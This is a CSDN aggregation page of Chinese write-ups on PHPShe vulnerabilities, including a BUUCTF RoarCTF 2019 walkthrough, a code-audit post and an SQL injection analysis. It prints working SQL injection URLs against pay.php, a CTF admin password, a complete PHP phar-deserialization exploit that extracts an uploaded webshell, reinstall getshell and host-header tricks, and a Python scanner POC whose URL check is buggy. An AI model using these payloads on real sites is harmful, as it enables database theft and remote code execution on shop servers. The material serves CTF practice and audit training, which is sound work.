phpshe shell_shell 子shell退出 但父shell不退出 - CSDN
精华内容
参与话题
  • BUUCTF:[RoarCTF 2019]PHPShe

    热门讨论 2020-07-24 20:44:53
    BUUCTF:[RoarCTF 2019]PHPShe

    题目地址:https://buuoj.cn/challenges#[RoarCTF%202019]PHPShe

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    搜索引擎寻找相关漏洞 phpshe1.7漏洞相关漏洞文章:https://anquan.baidu.com/article/697

    XXE漏洞无法利用了,可以看到关键文件notify_url.php在这里被删除了
    在这里插入图片描述
    直接使用注入漏洞的payload:

    /include/plugin/payment/alipay/pay.php?id=pay` where 1=1 union select 1,2,((select`3`from(select 1,2,3,4,5,6 union select * from admin)a limit 1,1)),4,5,6,7,8,9,10,11,12#_
    

    GET传参记得URL编码
    在这里插入图片描述
    查管理员后台密码

    /include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20union%20select%201,2,((select`3`from(select%201,2,3,4,5,6%20union%20select%20*%20from%20admin)a%20limit%201,1)),4,5,6,7,8,9,10,11,12%23_
    

    在这里插入图片描述
    在这里插入图片描述
    管理员登录地址:/admin.php
    账号密码:admin/altman777

    Diffinity把这里的源码和PHPshe官网上的源码进行对比,发现在/include/class/pclzip.class.phpPclZip类中加了一个析构函数
    在这里插入图片描述
    解压文件操作,如果能找到反序列化点,那么路径就可控,在后台的品牌管理可以上传zip,即可上传一个压缩的webshell,然后控制路径对上传文件进行解压到可访问目录,即可获得webshell。那么接下来就是寻找哪里可以进行反序列化操作

    moban.php的删除模版操作中pe_dirdel()函数,跟一下发现使用了is_file()函数
    在这里插入图片描述
    在这里插入图片描述
    那么就可以利用phar反序列化,完整的思路浮现了。
    首先在后台品牌管理上传一个压缩后的webshell,然后构造phar反序列化exp,对生成的phar文件修改后缀,再次上传到品牌管理。最后利用moban.php中的删除操作的函数会触发phar反序列化,即可实现对上传的webshell压缩包进行解压

    有关phar反序列化漏洞的问题请参考:https://blog.csdn.net/mochu7777777/article/details/106909777

    上传压缩的webshell,并得知路径为:/data/attachment/brand/1.zip
    在这里插入图片描述
    构造phar exp,exp构造很简单,把PclZip类中的属性以及PclZip::__construct()中属性抄一遍即可,修改属性$save_path,的值为一个指定解压目录即可,exp如下:

    <?php 
    class PclZip{
    	var $zipname = '';
    	var $zip_fd = 0;
    	var $error_code = 1;
        var $error_string = '';
        var $magic_quotes_status;
        var $save_path = '/var/www/html/data';//解压目录
    
        function __construct($p_zipname){
        	
      		$this->zipname = $p_zipname;
        	$this->zip_fd = 0;
        	$this->magic_quotes_status = -1;
    
        	return;
    	}
    
    }
    
    $a=new PclZip("/var/www/html/data/attachment/brand/1.zip");//压缩的文件路径
    echo serialize($a);
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($a);
    $phar->addFromString("test.txt", "m0c1nu7");
    $phar->stopBuffering();
     ?>
    

    执行exp生成phar.phar然后修改后缀为可上传的任意后缀,我这里就改成phar.txt,另外注意一个点:
    在这里插入图片描述
    删除操作是需要进行token匹配的,这个token在上传phar文件的过程中抓个包,就有了
    在这里插入图片描述
    接着就删除操作触发phar反序列化
    在这里插入图片描述
    返回页面有删除成功字样即触发成功,webshell位置:/data/test.php
    在这里插入图片描述
    在这里插入图片描述

    展开全文
  • PHPSHE审计

    2020-04-14 08:19:32
    http://www.phpshe.com/ 本地环境: php7.3 mysql5.0 apache 系统主界面: 前台注入---适合拿到管理员的权限: 后台注入---适合低权限用户提升权限: 爆字段 用户名: mysql版本: 爆库: 爆表:...
    这里给出下载链接:
    
    http://www.phpshe.com/
    
    本地环境:
    
    php7.3
    
    mysql5.0
    
    apache

     

    系统主界面:

     

     前台注入---适合拿到管理员的权限:

     

     后台注入---适合低权限用户提升权限:

    爆字段

     

     
    用户名:

     

     mysql版本:

     

     爆库:

     

     爆表:

     

     字段:

     

     数据:

     

     数据成功爆出来了,ok!

    后台任意文件夹删除漏洞---适合低权限用户提升权限:

     

     

     

     

    如何getshell呢?暂时没有更好的办法,这个方法比较鸡肋

    先删除install.lock文件:

     

     访问:

     

     安装getshell?

     

     

    然而呢?说多了都是泪,累了,下次再研究

     

    看一下死在哪里?

    $sql_arr = explode('/*#####################@ pe_cutsql @#####################*/',
                    file_get_contents("{$pe['path_root']}install/phpshe.sql"));
                foreach ($sql_arr as $v) {
                    $result = $db->query(trim(str_ireplace('{dbpre}', $_p_dbpre, $v)));
                }
                就是这里了,过不了检测
                if ($result) {
                    $db->query("update `{$_p_dbpre}admin` set `admin_name` = '{$_p_admin_name}', `admin_pw` = '" . md5($_p_admin_pw) . "' where `admin_id`=1", $dbconn);
                    $config = "<?php\n\$pe['db_host'] = '{$_p_db_host}'; //数据库主机地址\n\$pe['db_name'] = '{$_p_db_name}'; //数据库名称\n\$pe['db_user'] = '{$_p_db_user}'; //数据库用户名\n\$pe['db_pw'] = '{$_p_db_pw}'; //数据库密码\n\$pe['db_coding'] = 'utf8';\n\$pe['url_model'] = 'pathinfo_safe'; //url模式,可选项(pathinfo/pathinfo_safe/php)\ndefine('dbpre','{$_p_dbpre}'); //数据库表前缀\n?>";
                    file_put_contents("{$pe['path_root']}config.php", $config);
                    pe_goto("{$pe['host_root']}install/index.php?step=success");
                } else {
                    pe_error('数据库安装失败!');
                }
    展开全文
  • 0x00 背景 这套系统审了很久了,审计的版本是1.6,前台审不出个所以然来。前台的限制做的很死。...抛开实际利用来说,简单讲讲两个任意文件删除漏洞,在拿到后台之后的getshell方法。 0x01 phpshe程序简介 ph...

     

    0x00 背景

    这套系统审了很久了,审计的版本是1.6,前台审不出个所以然来。前台的限制做的很死。

    入库的数据都是经过mysql_real_escape_string,htmlspecialchars的处理。

    二次注入没找到,逻辑漏洞也没找到。抛开实际利用来说,简单讲讲两个任意文件删除漏洞,在拿到后台之后的getshell方法。

     

    0x01 phpshe程序简介

    phpshe是一个开源商城程序,程序在前台入库的地方都用了pe_dbhold函数(mysql_real_escape_string,htmlspecialchars过滤),虽然用的是全局变量注册,但是进行了变量的划分。

    加上了各自不同请求的前缀。使得变量不能夸请求覆盖,同时底层有入库的参数值都是用单引号进行包含。

    所以注入是不可能的了,加上htmlsepcialchars的过滤,连xss都没发现一个。

    上传方面用的是白名单,限死了后缀,加上文件名重命名,使用时间加上大范围随机数md5的方法。

    前台就介绍到这里,讲讲后台的一些情况。

    后台大部分都进行了csrf防御,只有少部分没有(一些查询操作,没有实际作用),几乎所有后台页面都是存在注入,但由于程序是没有开启报错的。

     

    所以是没有办法通过报错的方式拿到绝对路径,后台的注入其实等于没用,也没有越权的情况(通过鉴权文件,加载后台模块)。

    看了一下乌云镜像站上关于该程序的历史漏洞也是少的可怜,程序的安全性确实做得很好。

    那么下面就讲讲两个后台任意文件删除,与及拿shell。

    0x02 后台两处任意文件删除至getshell

    1,文件module\admin\db.php( 数据库操作相关)

    没有任何过滤,直接拼接路径删除。但是有csrf防御。

    2,文件 module\admin\moban.php(模板操作相关)

    也是等同于没有任何过滤,有csrf token防御。

    再看看安装文件的逻辑。

    将配置参数写入到配置文件中,直接写入,没有任何过滤,可以通过重装的方式直接getshell。(动作太大了)


     0x03 更新

    更新一下吧,有几个小问题。

    一个是前台的任意用户密码重置,犯了最常见的用户密码重置的错误之一,直接把token返回到前端了。

    当然,这个在实际环境颇为鸡肋,需要知道用户的用户名和邮箱(且这套系统的普通用户登录时不需要验证码的,直接爆破就好了)

    文件:/module/user/do.php

    而其实这里是我之前在找头攻击的时候无意之中发现的。

    这里也是存在着host头攻击的,找回密码的方式用的是链接的方式,存在着头攻击。

    文件:/module/user/do.php

    这里要提一下头攻击的问题。可以参考林林总总的Host Header Attack这篇文章与及p牛提攻击《LNMP架构Web应用的几个小Tricks》提到的nignx+php获取host头的Tirck。

    当环境是apache+php的时候,p牛没有说明,我自己测了一下,总结下来就是

    apache 解析host头的时候取得是最后一个,而PHP通过$_SERVER['HTTP_HOST']取到的host头为所有的,用逗号隔开。

    比如存在多个Host头的时候,

    Host: www.phpshe.cc
    Host: www.unkown.com  

    此时apache 取得的Host是www.unkown.com,而php 通过$_SERVER['HTTP_HOST']取到的host头的值为:www.phpshe.cc,www.unkown.com。

    无论是apache 还是nginx 都是可以配置多个server的,当它们找不到server的时候都会发送给默认的server进行处理。而这个默认的server是指在配置文件中排列较前的server配置。

    所以这里的头攻击,倘若是apache+php的模式的话,主机上必须只能架设目标网站一个server,否则就会失效。

     

    还有就是后台管理登录处无视验证码直接爆破。

    看到文件/module/amdin/do.php, 后台登录代码:

    整个逻辑判断竟然是先去数据库里面去匹配用户名和密码,如果用户名和密码正确,才判断验证码。那么完完全全可以无视验证码了。

    当用户名和密码正确的时候,验证码错误时返回验证码错误。

    当用户名和密码错误的时候,直接返回用户名和密码错误。

    当然这里只是代码的表现,但其实在实际中是看不到这些提示的,实际操作后发现可以通过返回包中是否是直接跳转到admin.php来判断。

     

    当用户名和密码错误的时候,跳转回登录页面继续登录。

     

     当用户名和密码正确的时候,直接跳转到admin.php

     

    0x04 总结

    看了很久这个程序,没有审出什么来,写个总结吧!

    死磕了很久,依旧没有发现比较严重的问题,颇为鸡肋。

    想寻找几个经典案例感觉都挺难的,菜鸡仍需努力啊!

    转载于:https://www.cnblogs.com/r00tuser/p/8445289.html

    展开全文
  • 首先查看phpshe下的common.php文件37~44行: 上述代码可以看到,将获取到的GET POST 数据加上前缀'_g',然后再看pe_stripslashes函数: 可以看到$_GET不为空的情况下,将字符串经过st...

    此CMS  SQL注入漏洞产生原因为未将经过 addslashes() 函数过滤的数据使用单引号包裹,从而导致的SQL注入漏洞。接下来看漏洞详情:

    首先查看phpshe下的common.php文件37~44行:

     

    上述代码可以看到,将获取到的GET  POST 数据加上前缀'_g',然后再看pe_stripslashes函数:

    可以看到$_GET不为空的情况下,将字符串经过 stripslashes 函数去除反斜线。

    然后在查看一下防止SQL注入的函数pe_dbhold:

     

    可以看到此过滤是将字符串经过addslashes()函数过滤,然后要注入的话则有2种情况:

      1、可控数据未经过单引号包裹 

      2、宽字节注入

    然后查看此文件:include/plugin/payment/alipay/pay.php第34~35行:

    此处可以看到,将可控数据进过pe_dbhold函数过滤后引入order_table函数:

     此函数是查看 $id 中有无 '_' 有的话取第一个元素,否则返回 'order',此处可以看到次函数返回值可控,然后跟进 pe_select 函数:

    此函数中 $table 变量可控,并且带入SQL语句之中并无单引号包裹,从而产生SQL注入。

    由于order_table()函数返回值为 order_{$id_arr[0]},所以需要在数据库中找到数据库名包含 'order_' 的表,发现有且只有一个表:pe_order_pay

    于是构造payload:pay`+where+1=1+union+select+1,2,user(),4,5,6,7,8,9,10,11,12#_

     

     

    此处放上漏洞POC:

    import requests
    
    url = input("please input url:")
    pro1 = "http://"
    pro2 = "https://"
    if pro1 or pro2 in url:
    	pass
    else:
    	print("please input the correct URL")
    headers = {
    	"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0",
    	"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    	"Accept-Language":"n-US,en;q=0.5"
    
    }
    payload = url + "/include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20union%20select%201,2,1314520,4,5,6,7,8,9,10,11,12%23_"
    response = requests.get(payload,headers)
    creden = '1314520'
    if creden in response.text:
    	print("you can hack!!!")
    	print("payload is : " + payload)
    else:
    	print("The website is secure")

    该漏洞可用于初学代码审计,具体利用则异常鸡肋,由于过滤单引号,并且在payload中不能出现下划线,导致无法查出数据库中的大部分数据,不过权限够高的话,可以直接getshell。

    转载于:https://www.cnblogs.com/Spec/p/10718046.html

    展开全文
  • 渗透测试-PhpMyAdmin后台getshell

    千次阅读 2019-08-10 22:28:30
    在通过对目标进行信息收集探测后,当发现存有phpmyadmin目录时,进而通过弱口令或者暴力破解进入数据库之后,有多种方法进行getshell。 MySQL导出木马 最常用的是通过into outfile直接写入一句话木马: select '&...
  • Linux命令行,以及用户使用Linux命令进行Linux shell交互,是Linux最吸引人的地方,也是面试中最普遍的话题之一。在这篇文章中,我们将提出10个面试中很重要问题,这肯定能拓宽你的知识面。  1. 如何暂停一...
  • 论PHP常见的漏洞

    2019-02-27 17:23:56
    ′ 雨。 · 2015/01/14 10:080x00 前言里面很多都是像laterain学习到的, 如果能考上cuit的话 自动献菊花了。0x01 安装的问题首先拿到一份源码 肯定是先install上。 而在安装文件上又会经常出现问题。...
  • 本文由 极客范 - 小道空空 翻译自 Avishek Kumar。欢迎加入极客翻译小组,同我们一道翻译与分享。转载请参见文章末尾处的要求。 ...这一次我们不再介绍某个特定主题的Linux面试问题,而是随机选取一些来介绍。...
  • ′ 雨。·2015/01/14 10:08 0x00 前言 ...里面很多都是像laterain学习到的, 如果能考上cuit的话 自动献菊花了。...一般的安装文件在安装完成后 基本上都不会自动删除这个安装的文件 我遇到过的会自动删除的好像也就...
  • 代码审计 TIPS(1)

    2017-12-14 11:33:22
    https://www.chery666.cn/blog/2017/12/11/Code-audit.html 0x01 PHP 敏感配置项 register_globals(php 版本小于 5.4 时存在) ...当代码中存在有未初始化的变量时,可能会导致变量覆盖的问题;...(PS: 其中
  • Linux面试题

    2017-07-13 22:07:48
    1. 假设定期维护和备份文件是你的日常工作任务之一。... $ zcat f phpshe112.4.tar.gz 2. 如何需要跟踪系统发生的事件? 答:使用syslogd守护进程。syslogd在跟踪系统事件方面非常有用,并可以将其
  • 变量覆盖一般由这四个函数引起 <?... $b=3; ...$a = array('b' =>...//extract 有三种形式可能导致变量覆盖,第一种是第二个参数为EXTR_OVERWRITE,他表示如果有冲突,覆盖原有的变量。第二种情况是只传入第一个参数...
1
收藏数 17
精华内容 6
关键字:

phpshe shell